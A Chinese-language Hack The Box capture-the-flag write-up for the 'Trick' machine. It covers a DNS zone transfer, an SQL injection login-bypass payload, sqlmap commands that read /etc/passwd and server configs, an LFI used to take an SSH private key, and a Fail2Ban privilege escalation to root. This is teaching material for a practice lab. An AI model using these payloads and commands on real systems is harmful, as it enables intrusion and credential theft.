[HTB] Trick Writeup

admin 2024年10月10日21:47:45评论14 views字数 4996阅读16分39秒阅读模式

概述 (Overview)

[HTB] Trick Writeup

HOST: 10.10.11.166

OS: LINUX

发布时间: 2022-06-19

完成时间: 2022-06-23

机器作者: Geiseric[1]

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #DNSZoneTransfer #Fuzzing #SQLi #LFI #Fail2Ban

攻击链 (Kiillchain)

使用 Nmap 对目标服务器开放端口进行识别,通过 DNS 服务域传送漏洞得到子域名站点,在该站点发现 SQL 注入漏洞。利用文件读取发现另一子站点还存在本地脚本加载漏洞,最终使用读取到的用户ssh私钥成功登录目标服务器

简单枚举发现存在 Fail2Ban 服务,并且用户具备重启 Fail2Ban 服务和修改该服务的规则配置文件。最后,利用该服务成功完成权限提升。

枚举(Enumeration)

初始还是使用 Nmap 对目标服务开放端口进行枚举。

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Coming Soon - Start Bootstrap Theme
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

得到开放端口基本信息:4 个对外暴露端口,服务器系统为 Debian,存在 DNS 和 Web 站点。

Port 53 - DNS

浏览器打开预览下,发现就是一个静态业务没什么后端交互功能。转而查看 DNS 服务 ,简单验证后发现存在域传送漏洞。

dig axfr @10.10.11.166 trick.htb

; <<>> DiG 9.18.1-1-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 248 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Thu Jun 23 12:06:58 CST 2022
;; XFR size: 6 records (messages 1, bytes 231)

随即将这几个域名加入到 hosts 文件中再次进行访问:

10.10.11.166 trick.htb preprod-payroll.trick.htb root.trick.htb

[HTB] Trick Writeup

立足点(Foothold)

对 preprod-payroll 子域名网站登录表单进行简单测试,发现存在 SQL 注入漏洞。

[HTB] Trick Writeup

一个简单的 SQL 查询闭合就登录了网站后台:

username='+or+''%3D'&password='+or+''%3D'

[HTB] Trick Writeup

从显示是信息中能够知悉这是 admin 账号,在用户详情中改修页面 password 标签,能得到明文密码。

[HTB] Trick Writeup

随后我将后台中涉及到的所有 Username 做成字典,通过 crackmapexec 尝试密码碰撞,可惜都失败了看来需要找别的路径。

[HTB] Trick Writeup

在对 .trick.htb 进行子域名枚举后没有很好的进展,但观察到子域名的命名方式比较可疑。就用使用 fuff 工具对子域名进行新的枚举枚,有了新发现:preprod-marketing

[HTB] Trick Writeup

加入 /etc/hosts 继续访问。

[HTB] Trick Writeup

发现也是个 PHP 的站,对页面进行简单的分析暂时没找到问题。


然后这里就困扰了我很长一段时间,在 preprod-marketing 上没有找到突破口。转头继续在 preprod-payroll 站挖掘信息,在后台页面找到新的注入点,尝试使用 SqlMap 枚举下数据库权限,看看当前权限下能做什么事。

[HTB] Trick Writeup

# 将数据包保存至 *.txt 文件,查看当前数据库用户
$ sqlmap -r 3.txt --dbs mysql –current-user
current user: 'remo@localhost'

# 查看当前数据库用户
$ sqlmap -r 3.txt --dbs mysql --privileges
database management system users privileges:
[*] 'remo'@'localhost' [1]:
privilege: FILE

从 SqlMap 的枚举结果中能够看到,当前具有文件操作权限,可以用于读取服务器本地文件。读取 passwd 文件:

$ sqlmap -r 3.txt --dbs mysql --file-read="/etc/passwd"
[*] /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (same file)
root:x:0:0:root:/root:/bin/bash
...snip...
michael:x:1001:1001::/home/michael:/bin/bash

接着就是找 Web 站点路径了,用于进行写后续写 webshell 等操作。前面已知站点用的 Nginx,所以直接读默认配置文件即可。

$ sqlmap -r 3.txt --dbs mysql --file-read="/etc/nginx/sites-enabled/default"
...snip...
server_name preprod-marketing.trick.htb;
root /var/www/market;
...snip...
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
...snip...

能看到两个站点在服务器上的绝对路径,尝试对 index.php 首页文件进行读取,发现 market 的 index.php 存在漏洞。简单处理了一下 GET 传参 page 的字符串,随后进行 include 函数加载外部脚本文件。

[HTB] Trick Writeup

对传递的参数进行简单的处理就能进行任意文件加载,例如:

[HTB] Trick Writeup

随后使用这种方式轻松读取到了 michael 用户的私钥,登录进了目标服务器。真实场景往往比这难一点,没有私钥的场景可以利用加载 nginx 日志触发 php 脚本进行反弹 shell。

[HTB] Trick Writeup

[HTB] Trick Writeup

权限提升(Privilege Escalation)

随后检查 sudo -l 权限列表,发现可以重启 fail2bin 服务(_我说咋前面用 crackmapexec 枚举 ssh 登录的时候请求包丢失呢,往后服务器简单加固上可以考虑该服务_):

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Fail2ban 通过扫描日志文件(例如 /var/log/apache/error_log ),发现并禁止显示出恶意迹象的 IP 地址(例如:过多的密码失败、寻找漏洞利用等)。通常,Fail2Ban 使用更新防火墙规则的方法在指定的时间内拒绝特定的 IP 地址,在 Linux 操作系统下,Fail2Ban 是通过向 iptables 添加规则来强制实施对可疑 IP 地址的禁止。当然也可以配置任何其他任意操作(例如:发送电子邮件等)。

Fail2Ban 是什么?- https://aws.amazon.com/cn/blogs/china/open-source-tool-to-protect-ec2-instances-fail2ban/#Fail2ban%20%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F

简单了解后开始寻找相关权限提升的利用方式,最终参考:https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/

检查 /etc/fail2bin 路径下的文件权限,发现当前用户的组具备 rwx 操作 action.d 文件夹的权限。该文件夹内具有不同类型的配置规则,可用于阻止 IP,同样可以用来进行权限提升。

[HTB] Trick Writeup

找到里面的 iptables-multiport.conf 文件并编辑,将执行命令改为赋 bash 命令 SUDI 权限。

[HTB] Trick Writeup

开始权限提升操作,保存上面文件修改并重启 fail2bin 服务,随后对 SSH 进行密码枚举扫描使 fail2bin 的规则生效。随后运行 bash -p 开启一个新的会话,就具备 root 权限了。

[HTB] Trick Writeup

对 -p 参数的解释可以如下方式查看:

$ bash -c "help set"
...snip...
      -p  只要真实用户 ID 和有效用户 ID 不匹配时就会被打开。
          禁用对 $ENV 文件的处理以及 shell 函数的导入。关闭此选项
          会导致有效 uid 和 gid 被设定为真实 uid 和 gid。
  • • -p: 参数的作用使 Bash 运行在特权模式下,也就是以超级用户(root)或管理员的权限运行。

参考

引用链接

[1] Geiseric: https://app.hackthebox.com/users/184611

 

原文始发于微信公众号(一个人的安全笔记):[HTB] Trick Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日21:47:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HTB] Trick Writeuphttps://cn-sec.com/archives/1921967.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息